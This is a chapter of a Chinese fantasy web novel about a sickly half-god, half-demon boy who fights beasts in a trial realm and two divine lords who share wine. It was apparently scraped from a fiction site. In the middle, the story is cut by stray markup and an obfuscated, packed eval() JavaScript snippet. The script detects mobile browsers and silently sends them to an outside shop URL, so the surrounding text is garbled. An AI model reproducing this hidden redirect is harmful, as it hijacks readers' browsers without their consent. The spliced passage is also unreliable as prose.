文趣网 > 其他小说 > 神君家的病弱幼崽 > 4. 问悯生
    要说起打架,无颂是真的谁也不服。

    继承了神魔两族的顶级血统,无颂的战斗本能仿佛刻在骨子里,就算从小没有师尊教导,自行领悟,都足够让人吃惊。

    这也在意料之内。

    本来月姬沉睡后无颂就活得举步维艰,自己的混蛋外公还总是给他使绊子,要没点打打杀杀的天赋,他还怎么活。

    少年纵身跃下山壁,身形几个起落,便消失在浓重的夜色里。这一次,他的速度比白天快了一倍不止,脚步轻灵如风,落地无声,只在腐叶上留下极浅的痕迹。踏云无痕的身法被他用到极致,配合着封印魔力后更加精纯的神力,让他在林间穿梭如鬼魅。

    这种可以畅快使用力量的感觉让他沉迷,兜帽下的双眼亮的惊人,黎明前最黑暗的时刻,年仅十二的小少年就找到了第一个目标。

    那是一头五阶的“地穴蛛后”,盘踞在一片沼泽边缘的洞穴里,周围散布着数十个大小不一的蛛网,网上粘着不少妖兽和人类的骸骨,显然是个凶名在外的猎食者。地穴蛛后本身实力就相当强大,再加上剧毒和难缠的蛛网,寻常参选者根本不敢招惹。

    无颂蹲在一株枯树上观察了片刻。

    蛛后正在洞口啃食一头不知名妖兽的尸体,八只复眼在黑暗里泛着幽绿的光,口器开合间发出令人牙酸的“咔嚓”声。它的腹部干瘪,似乎刚产过卵,行动比平时迟缓些——这是击杀的最佳时机。

    无颂没有犹豫。

    他抬手摘下头上盘着的木簪,手腕翻转,清越剑鸣响彻洞穴,乌木色的簪身褪去伪装,化为一道温润却内蕴无尽锋芒的白光。光芒伸缩不定,最终凝成一柄长剑。

    剑长三尺余,剑身并非金属光泽,而是一种温润如玉的黑色,近乎透明,其上有天然如血脉般的淡金色纹路隐隐流转。剑格古朴,形如环抱的枝叶,护着中间一枚似闭未闭的眼眸状宝石。剑柄亦是温润黑色,恰到好处的弧度。整把剑并无冲霄的杀气,反而散发着一股悲悯、沉静、包容的气息,仿佛承载着生命之重与时光之叹。

    此剑,唤悯生。

    是与他本命神器命轮伴生的杀伐之器。

    悯生出,势必见血。

    “去。”

    轻叱声中,剑身快如闪电,直取蛛后左侧最中间那只复眼,没有凌厉的杀气,只有浩大悲悯的气息如水蔓延,无颂回身离去,巨大的尸体应声倒地,令牌上已然多出五百积分。

    哼哼,真男人从不回头!

    无颂满意的扫了眼光幕,点了点头。他没停留,转身没入黎明前的最后的夜色。

    ______

    五百积分算不得小数目,无颂击杀完成的瞬间,排名便跃迁几个档位,冲到前百名的末端,引起不少人的注意。

    浮笙正和自己相熟的神族子弟结成小队,共同攻克一只大型魔兽,看到光幕上的排名,若有所思。

    无颂没留下自己的真名,他用的是“无名”代号,他想等拜师大典时亲口把名字告诉白夜,这是属于一个从未被承认的孩童的心酸,也是无颂自己小小的骄傲。

    “也不知是哪位神君的子嗣又来这小秘境里炸鱼……”

    有人不满的嘟囔着,能独自击杀五阶妖兽,要说这是哪个散修估计没几个人相信,“本来竞争就激烈,还让不让我们活了。”

    浮笙觉得未必,“万一人家真是散修呢,千年难遇的天才呗。”

    他努努嘴,示意看看自己,他也是青桠神君的亲子,怎么就没传说中那么厉害。他语气苦恼,“我爹说了,出去让我别说是他家的,他嫌丢人。”

    众人都知道他家情况,一时之间笑的隐忍。

    小少年有些羞,那张白净的面皮上浮现薄红,嚷嚷着再笑就把他们都毒倒,这才勉强收声。

    浮笙是药王殿的小少君,这次进秘境纯粹是被他爹青桠踢进来的,原话是教不了他这头小笨猪,让他另择名师高就。话虽然是这么说,但是浮笙自己也清楚,自己才是真来玩的,不管怎样都有他爹给他兜底。

    说起他爹,浮笙心中有些怅然,也不知道他在干嘛,有没有想他。

    ———

    青桠可没功夫想浮笙,他正忙着品酒呢。

    白夜这木头不知道从哪里弄来一坛上好的春水醉,拎着两个小酒杯直闯药王殿,那味道离了八十丈都能闻得清楚,偏偏这家伙也不说话,就倚在门口慢悠悠的晃着小酒壶,青桠做了白夜上万年的损友,如何不知他是什么意思。

    联想到之前净善宫那位寄养在白夜这里的玄珏小殿下,前段时间似乎修炼出了岔子,得,这是拿这坛酒当诊金呢,青桠就说白夜这次怎没直接把他拎到三十三重天,原来是在这儿等他呢。

    墨发金眸的神君眯眯眼,又晃荡了一下小酒壶。

    青桠努力保持目不斜视,他背着身连头也没回,“不去就是不去,上次玄胤那老家伙见着我叨叨半天,说我不务正业又说我把你带坏,我青桠再去就是狗!”

    白夜仍不说话,这次把壶盖旋开,指尖摩挲着。

    青桠急了,“你这木头,说了不去!”

    “你急什么,我还什么都没说呢。”白夜走近看着青桠手上正练着的一炉清心丹,听不出语气,“几月没见,你这脾气倒是见长。”

    “三千年的春水醉,本君敢说这九天十地都找不出第二坛了,尝尝?”

    两人的友情从和泥巴的时候就开始了,白夜闭着眼睛都知道青桠不会拒绝,果然不到三秒,旁边就伸过来一只白净的手,指尖勾了勾,白夜挑挑眉,倒也没说什么,从善如流的给他倒上一杯。

    那味儿正的很,青桠砸砸嘴还是没忍住,细品一口,语气嘲讽,“哎呦,神族战神亲手给我斟的酒,”他又放大音量,“就是不一样哈。”

    “连你也挖苦我。”

    白夜顺势坐下,也给自己倒上一杯,“莫不是整日炼丹烧坏了脑子。”

    青桠没好气的翻个白眼,这才转过身来。

    他看上去仿佛只有二十几岁,那张脸端的是一副多情公子的样,腰间挂着一串叮铃郎当的小挂饰,还有个小葫芦坠在一旁,看上去料子极好的青纱袍子草率的披在身上,袖口被高高挽起,上面还溅着些不知名的药草汁,本来应该是极靠谱的打扮,只可惜被那白眼坏了三分。

    此人正是青桠,药王殿的殿主,浮笙他亲爹。

    “真是无事不登三宝殿。要我说玄珏那小家伙就应该扔回去给你兄长管,总把孩子让你带算什么回事。”

    青桠又喝一口,坐姿豪放,翘起二郎腿指点江山:“何况孩子不能老是溺爱,你看看你,把那孩子宠成什么样了都,不像我家浮笙,早早就学会独立。”

    白夜闻言摇摇头。

    “玄珏乃是兄长托付,虽说兄长远游参悟大道,又岂有不尽心之理。”

    白夜又回忆了一下,觉得自己没有很宠。前段时间他还限制玄珏不能吃点心呢,要他自己说已经很严厉了。

    青桠简直受不了这木头一副傻样,恨铁不成钢,“的亏你没有亲儿子,不然我都不敢想。”

    亲儿子……

    白夜愣了一下。

    他想起十二年前魔族的传信,眼神晦涩。听说月姬早些年死了,也再没有别的消息传来,想来那个不该存在于世的错误大概早就夭折了吧。

    也对,神魔相交,天道禁忌,怎么可能活下来。

    “…要我说孩子还得放养……”

    青桠还在那里喋喋不休,那壶春水醉被喝了大半,看来想赖账是不可能了。

    也不枉费他从别人那里打劫过来的好酒。

    白夜勾唇一笑,形状优美的薄唇沾了点酒液,亮晶晶的惑人。青桠随意抬眼这么一看,不由得止声,就算看了万年,仍旧会被老友这幅蓝颜祸水的模样惊艳到,心中唾弃自己。

    但真不怪他,白夜这货,脸实在是生的太好,让人提不起半分性子。

    男人跌回凳子,莫名其妙开始唉声叹气,白夜疑惑地望着他,忽然又想起什么:“对了,浮笙已经进秘境了,你不想去看看吗?”

    “应该是和东海那几个小家伙一起结伴,我来的快,现在回去说不定还能赶上秘境的最后一天。”

    “去!反正都要到你那净善宫走一遭,看看我家的小笨猪能闯出什么名堂。”

    青桠喝下最后一口,把炉子里那几颗极品清心丹抛给白夜,随意摆摆手。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705713|208315||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    “本来就是给玄珏练的,回去你帮我给他就行。”

    白夜点点头,满意极了。

    二人正要离开,忽然白夜又想到什么,悠悠开口,“好像有人说,再去我净善宫就是狗?”

    “……白夜!”

    —————

    无颂现在正陷入一个哲学的困境。

    生存还是毁灭,这是一个值得考虑的问题。

    是默然忍受这只该死的臭了吧唧的六阶妖兽把他当成老鼠一样玩弄,还是挺身反抗,干脆被其一巴掌拍死,这两种行为,哪一种更加适合自己这副脆弱的小身板?

    他真傻,真的。

    刚开始杀的正欢的无颂并没有意识到危险的降临,他单知道五阶妖兽有五百分,杀完以后自己的排名会涨;但他不知道五阶后面还有六阶。

    打了小的,又来老的。

    以大欺小,忒不要脸!

    无颂心里早就把这傻x狗熊骂了千百遍,可惜妖兽没有良知,骂多少遍都没用。腥臭的口水滴落在无颂袍角,兽瞳里是显而易见的嗜血与杀意。

    退不得了。

    无颂握紧手中的剑,他又不像这头死熊,还能有人给他撑腰,他有的,始终只有自己。

    他动了。

    近乎舞蹈般的旋身,避开三道呈“品”字袭来的炽白爪痕,手中悯生剑划出一道圆满的弧线,从侧面袭来的妖兽本体借力,拉开距离。银发因剧烈的动作完全散开,在身后狂乱飞舞,几缕被割断的发丝,混在激荡的碎石粉尘中,纷纷扬扬。他面颊绯红,双眼里却仿佛有两簇冰冷的火焰在燃烧。

    “六阶…看来也并非不可战胜。”

    无颂低语,嘴角竟上扬了半分弧度。斗篷下那总是青紫色的薄唇,因兴奋和体内神力高速运转,竟染上了一层淡淡的、诱人的嫣红。苍白的面颊,也因气血奔流,透出了极淡的、桃花般的粉色。这抹鲜活之色,冲淡了他身上那股病态的清冷,让他整个人在昏暗天光中,焕发出一种惊心动魄的、近乎妖异的美。

    又是一阵缠斗,在这生死一线的绝境,在这与这远超自己实力的妖兽不断交锋中,他心中曾有的那模糊的、关于“剑”是什么的疑惑,骤然贯通。

    他悟了。

    剑,是器,是术,是道。

    但对他来说,剑,更是“问”。

    问天,问地,问己,问道。

    问手中之剑,可斩荆棘?可断枷锁?可开前路?可明本心?

    他十二年长在魔域,幼年失母,唯有命轮相伴,窥探未来,消耗生命。他照着娘亲的话模仿父君言行,却不知为何而仿。他忍耐欺凌,却不知底线何在。他拥有力量,却不知为何而用。

    直到今日,持剑踏入此间,于生死间起舞,于杀伐中明心。

    他要问!

    问这天地,可容他存身?问这神族,可纳他血脉?问那高高在上的父君,可曾有一瞬,视他为子?

    更要问自己,我为何执剑?我欲行何道?

    那妖熊的利爪,已至头顶三丈!恐怖的掌势带动狂风,将无颂散落的银发狠狠向后吹去,衣袍紧贴身体,猎猎作响,仿佛下一秒就要将他连同这片大地,一同拍为齑粉!

    他没有格挡,没有闪避,甚至没有去看。

    他闭上了眼睛。

    心神沉入一片空明。唯有手中悯生剑的震颤,体内奔流的神力,以及心中那股不吐不快的、炽烈如火的“问”意,无比清晰。

    然后,他睁眼。

    眸中神光暴涨,如利剑出匣,刺破昏暗!

    他手腕一抖,悯生剑由下而上,斜斜掠起!

    没有浩大声势,没有璀璨光芒。只有一道凝练到极致、纯粹到极致、仿佛蕴含了少年所有疑惑、不甘、挣扎、以及破茧而出般决绝意志的——剑意!

    那不是剑气,不是剑招,甚至不是有形之物。

    那是一“问”。

    以剑为笔,以心为墨,向这方天地,斩出的无声诘问!

    与此同时,他清越的、带着少年人特有的锐气与蓬勃生机的声音,在这杀机盈野的绝地,清晰地响起:

    “悯生!”

    “问道——!”